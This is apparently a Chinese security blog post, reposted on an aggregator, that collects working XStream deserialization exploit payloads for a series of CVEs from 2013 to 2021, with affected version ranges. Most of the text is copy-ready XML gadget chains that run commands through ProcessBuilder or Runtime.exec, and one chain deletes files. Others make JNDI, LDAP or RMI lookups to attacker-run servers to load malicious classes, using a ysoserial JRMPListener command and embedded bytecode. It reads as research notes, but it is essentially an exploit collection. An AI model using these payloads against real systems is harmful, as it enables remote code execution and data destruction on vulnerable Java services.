XStream反序列化

news/2025/1/27 8:27:43/文章来源:https://www.cnblogs.com/meraklbz/p/18692406

首先看一下XStream基本语法.

package org.example;  import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.xml.DomDriver;  import java.io.FileInputStream;  
import java.io.IOException;  public class Main {  public static void main(String[] args) throws IOException {  FileInputStream fileInputStream = new FileInputStream("1.xml");  XStream xStream = new XStream(new DomDriver());  xStream.fromXML(fileInputStream);  }  
}

下面是复现成功的一部分链子.

sorted-set链

CVE-2013-7258
适用版本1.4.5,1.4.6,1.4.10

<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy>
</sorted-set>

tree-map链

适用版本<=1.4.6或=1.4.10

<tree-map><entry><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy><string>good</string></entry>
</tree-map>

sorted-set出网链

CVE-2021-21351
适用版本<=1.4.15

<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'><m__DTMXRTreeFrag><m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'><m__size>-10086</m__size><m__mgrDefault><__useServicesMechanism>false</__useServicesMechanism><m__incremental>false</m__incremental><m__source__location>false</m__source__location><m__dtms><null/></m__dtms><m__defaultHandler/></m__mgrDefault><m__shouldStripWS>false</m__shouldStripWS><m__indexing>false</m__indexing><m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'><fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>ldap://127.0.0.1:1389/Basic/Command/calc</dataSource><listeners/><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default/></com.sun.rowset.JdbcRowSetImpl></fPullParserConfig><fConfigSetInput><class>com.sun.rowset.JdbcRowSetImpl</class><name>setAutoCommit</name><parameter-types><class>boolean</class></parameter-types></fConfigSetInput><fConfigParse reference='../fConfigSetInput'/><fParseInProgress>false</fParseInProgress></m__incrementalSAXSource><m__walker><nextIsRaw>false</nextIsRaw></m__walker><m__endDocumentOccured>false</m__endDocumentOccured><m__idAttributes/><m__textPendingStart>-1</m__textPendingStart><m__useSourceLocationProperty>false</m__useSourceLocationProperty><m__pastFirstElement>false</m__pastFirstElement></m__dtm><m__dtmIdentity>1</m__dtmIdentity></m__DTMXRTreeFrag><m__dtmRoot>1</m__dtmRoot><m__allowRelease>false</m__allowRelease></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

map链

CVE-2020-26217
适用版本<=1.4.13

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'><contentType>text/plain</contentType><is class='java.io.SequenceInputStream'><e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'><iterator class='javax.imageio.spi.FilterIterator'><iter class='java.util.ArrayList$Itr'><cursor>0</cursor><lastRet>-1</lastRet><expectedModCount>1</expectedModCount><outer-class><java.lang.ProcessBuilder><command><string>calc</string></command></java.lang.ProcessBuilder></outer-class></iter><filter class='javax.imageio.ImageIO$ContainsFilter'><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>start</name></filter><next/></iterator><type>KEYS</type></e><in class='java.io.ByteArrayInputStream'><buf></buf><pos>0</pos><mark>0</mark><count>0</count></in></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>

map文件删除链

CVE-2020-26259
适用版本<=1.4.14

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'><contentType>text/plain</contentType><is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'><tempFile>D:\\hello.txt</tempFile></is></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>

priorityquine出网链

CVE-2021-21344
适用版本<=1.4.15

<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size><comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'><indexMap class='com.sun.xml.internal.ws.client.ResponseContext'><packet><message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'><dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'><bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'><bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'><bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'><jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType><uriProperties/><attributeProperties/><inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'><getter><class>com.sun.rowset.JdbcRowSetImpl</class><name>getDatabaseMetaData</name><parameter-types/></getter></inheritedAttWildcard></bi><tagName/><context><marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'><outer-class reference='../..'/></marshallerPool><nameList><nsUriCannotBeDefaulted><boolean>true</boolean></nsUriCannotBeDefaulted><namespaceURIs><string>1</string></namespaceURIs><localNames><string>UTF-8</string></localNames></nameList></context></bridge></bridge><jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>ldap://127.0.0.1:9999/Evil</dataSource><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default><iMatchColumns><int>-1</int><int>-1</int><int>-1</int><int>-1</int><int>-1</int><int>-1</int><int>-1</int><int>-1</int><int>-1</int><int>-1</int></iMatchColumns><strMatchColumns><string>foo</string><null/><null/><null/><null/><null/><null/><null/><null/><null/></strMatchColumns></default></com.sun.rowset.JdbcRowSetImpl></jaxbObject></dataSource></message><satellites/><invocationProperties/></packet></indexMap></comparator></default><int>3</int><string>javax.xml.ws.binding.attachments.inbound</string><string>javax.xml.ws.binding.attachments.inbound</string></java.util.PriorityQueue>
</java.util.PriorityQueue>

priorityquine不出网链

CVE-2021-21345
适用版本<=1.4.15

<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size><comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'><indexMap class='com.sun.xml.internal.ws.client.ResponseContext'><packet><message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'><dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'><bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'><bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'><bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'><jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType><uriProperties/><attributeProperties/><inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'><getter><class>com.sun.corba.se.impl.activation.ServerTableEntry</class><name>verify</name><parameter-types/></getter></inheritedAttWildcard></bi><tagName/><context><marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'><outer-class reference='../..'/></marshallerPool><nameList><nsUriCannotBeDefaulted><boolean>true</boolean></nsUriCannotBeDefaulted><namespaceURIs><string>1</string></namespaceURIs><localNames><string>UTF-8</string></localNames></nameList></context></bridge></bridge><jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'><activationCmd>calc</activationCmd></jaxbObject></dataSource></message><satellites/><invocationProperties/></packet></indexMap></comparator></default><int>3</int><string>javax.xml.ws.binding.attachments.inbound</string><string>javax.xml.ws.binding.attachments.inbound</string></java.util.PriorityQueue>
</java.util.PriorityQueue>

priorityquine RMI注入

CVE-2021-29505
适用版本<=1.4.16
这个payload比较特殊,只能打RMI注入,而且不能指定路由.我找了半天也没找到能自定义命令进行RMIcodebase注入的工具.好在RMIcodebase注入能使用的版本较低,一般都是配合链子去打.添加一个cc1链的依赖,在ysoserial中起一个恶意的RMIserver.

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections1 "Calc"

poc如下

<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>127.0.0.1</string><int>3333</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>127.0.0.1</host><port>3333</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>

priorityquine1.4.17链

CVE-2021-39144
适用版本<=1.4.17

<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><dynamic-proxy><interface>java.lang.Comparable</interface><handler class='sun.tracing.NullProvider'><active>true</active><providerType>java.lang.Comparable</providerType><probes><entry><method><class>java.lang.Comparable</class><name>compareTo</name><parameter-types><class>java.lang.Object</class></parameter-types></method><sun.tracing.dtrace.DTraceProbe><proxy class='java.lang.Runtime'/><implementing__method><class>java.lang.Runtime</class><name>exec</name><parameter-types><class>java.lang.String</class></parameter-types></implementing__method></sun.tracing.dtrace.DTraceProbe></entry></probes></handler></dynamic-proxy><string>calc</string></java.util.PriorityQueue>
</java.util.PriorityQueue>

sorted-set1.4.17出网链

CVE-2021-39146

<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>test</type><value class='javax.swing.MultiUIDefaults' serialization='custom'><unserializable-parents/><hashtable><default><loadFactor>0.75</loadFactor><threshold>525</threshold></default><int>700</int><int>0</int></hashtable><javax.swing.UIDefaults><default><defaultLocale>zh_CN</defaultLocale><resourceCache/></default></javax.swing.UIDefaults><javax.swing.MultiUIDefaults><default><tables><javax.swing.UIDefaults serialization='custom'><unserializable-parents/><hashtable><default><loadFactor>0.75</loadFactor><threshold>525</threshold></default><int>700</int><int>1</int><string>lazyValue</string><javax.swing.UIDefaults_-ProxyLazyValue><className>javax.naming.InitialContext</className><methodName>doLookup</methodName><args><string>ldap://127.0.0.1:1389/Basic/Command/calc</string></args></javax.swing.UIDefaults_-ProxyLazyValue></hashtable><javax.swing.UIDefaults><default><defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/><resourceCache/></default></javax.swing.UIDefaults></javax.swing.UIDefaults></tables></default></javax.swing.MultiUIDefaults></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>test</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

linked-hash-set链

CVE-2021-39139
适用版本<=1.4.17

<linked-hash-set><dynamic-proxy><interface>map</interface><handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'><classToInvocationHandler class='linked-hash-map'/><defaultHandler class='sun.tracing.NullProvider'><active>true</active><providerType>java.lang.Object</providerType><probes><entry><method><class>java.lang.Object</class><name>hashCode</name><parameter-types/></method><sun.tracing.dtrace.DTraceProbe><proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'><com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl><default><__name>Pwnr</__name><__bytecodes><byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkA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ClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array></__bytecodes><__transletIndex>-1</__transletIndex><__indentNumber>0</__indentNumber></default><boolean>false</boolean>                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl></proxy><implementing__method><class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class><name>getOutputProperties</name><parameter-types/></implementing__method></sun.tracing.dtrace.DTraceProbe></entry></probes></defaultHandler></handler></dynamic-proxy>
</linked-hash-set>

我们对两段字节码去进行还原

package ysoserial.payloads.util;import java.io.Serializable;public class Gadgets$Foo implements Serializable {private static final long serialVersionUID = 8207363842866235160L;public Gadgets$Foo() {}
}
package ysoserial;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;public class Pwner416592915180600 extends AbstractTranslet implements Serializable {private static final long serialVersionUID = -5971610431559700674L;public Pwner416592915180600() {}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {Object var1 = null;Runtime.getRuntime().exec("calc.exe");}
}

我们修改的时候只需要去修改第二段即可.

XStream1.4.18及以后

从这个版本开始就没有命令执行漏洞了,只存在一些dos的洞,而且利用条件非常苛刻.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/876175.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cisco Nexus 9000v Switch, NX-OS Release 10.5(2)F - 用于网络原型设计和学习研究的虚拟化数据中心交换机

Cisco Nexus 9000v Switch, NX-OS Release 10.5(2)F - 用于网络原型设计和学习研究的虚拟化数据中心交换机Cisco Nexus 9000v Switch, NX-OS Release 10.5(2)F 用于网络原型设计和学习研究的虚拟化数据中心交换机 请访问原文链接:https://sysin.org/blog/cisco-nexus-9000v/ 查…

数证杯个人

2024数证杯决赛个人赛wp 容器密码:4zL!$WpRkmANv@XFQ#7HdEyU&GpoTb56YZ^Jq83!Wr(tqA%XsPB7f@CY1xRmKH9#Le*WVG9NuvT$kJ2@7b64Tp(FLM#zqRY8Hv%!KU^9C&YXL*powq87Hr 首先还是感谢强大的队友带我进入了决赛,第一天就上强度,直接个人赛八个小时,原地坐牢四五个小时,赛…

VSCode输出中文乱码

VSCode CMake终端日志乱码在使用CMake插件生成项目时,发现VSCode输出窗口输出的是乱码,这让我感觉很头疼,遂写下这篇博客为后人积累经验。一开始我以为是因为编码的问题导致乱码,于是chcp 65001后重新生成CMake项目,但是发现没有解决,那怕是给VSCode设置gbk编码也是没用。…

三创赛商务大数据分析实战赛

数据采集 概念 数据采集就是搜集符合数据挖掘研究要求的原始数据(Raw Data)。原始数据是研究者拿到的一手或者二手资源。数据采集既可以从现有、可用的无尽数据中搜集提取你想要的二手数据,也可以经过问卷调查、采访、沟通等方式获得一手资料。不管用哪种方法得到数据的过程…

索引篇

1.索引如何分类?按照物理结构分类:①聚簇索引 ②二级索引 按数据结构分:①哈希表索引 ②B+树索引 ③Full-text索引 按字段特性分类:① 主键索引 ②唯一索引 ③普通索引 ④前缀索引 按照索引结构分类:①单列索引 ②联合索引2.InnoDB的聚簇索引的默认创建机制如果有主键,默…

2024年度Graph+AI开源探索思考

2024年蚂蚁图计算团队在「Graph+AI」开源技术方向的实践过程和思考,和大家聊一聊这个技术方向带给了我们什么,面向2025年还有哪些有意思的事情可以继续探索。前记 这篇年度总结其实酝酿了许久,却因诸多原因拖至腊月底,此时赶在春节前发出来,也不失为“农历版”年度总结了。…

卷积

参见:Convolutions Over Volume | CourseraBut what is a convolution? | 3Blue1BrownCNN Explainer

Windows安装Mysql-5.7(安装器方式)

1、下载Mysql的安装包下载地址:https://dev.mysql.com/downloads/installer/ 注意:官网的下载速度可能很慢,有任务时间要求的须尽快下载,或者使用其他可靠的下载源2、选择对应的版本注意:选择完MySQL的版本后,可以看到下载列表中有两个可以选择;其中小的那个是在线安装器…

RocketMQ原理—5.高可用+高并发+高性能架构

大纲 1.RocketMQ的整体架构与运行流程 2.基于NameServer管理Broker集群的架构 3.Broker集群的主从复制架构 4.基于Topic和Queue实现的数据分片架构 5.Broker基于Pull模式的主从复制原理 6.Broker层面到底如何做到数据0丢失 7.数据0丢失与写入高并发的取舍 8.RocketMQ读写分离主…

若干文本

4.1.2 基于 CatBoost 的缺失值填充 在数据预处理过程中,为确保模型训练数据的完整性,需对数据集 dataset1 和 dataset3 中的缺失值进行高效填充。针对多维度、多变量的缺失值问题,本研究采用基于梯度提升决策树(Gradient Boosting Decision Tree, GBDT)的 CatBoost 算法,…

思科划分广播域(Vlan)

思科划分广播域(Vlan) Vlan概念:(虚拟局域网) ​ Vlan是用来隔离广播域,限制主机间进行通信。 作用:控制网络风暴,提高网络性能,增强安全性。 Trunk(干道)是在网络通信中可以用于交换机上来承接多个Vlan流量,并通过帧标签(802.1Q)来区分不同的vlan。 实验 规划Vl…

索引的性能影响:优化数据库查询与存储的关键

title: 索引的性能影响:优化数据库查询与存储的关键 date: 2025/1/26 updated: 2025/1/26 author: cmdragon excerpt: 在关系数据库管理系统中,索引是提升数据检索性能的重要工具。然而,索引的引入虽然能够加速查询操作,但同时也可能对数据更新、存储空间及整体性能产生影…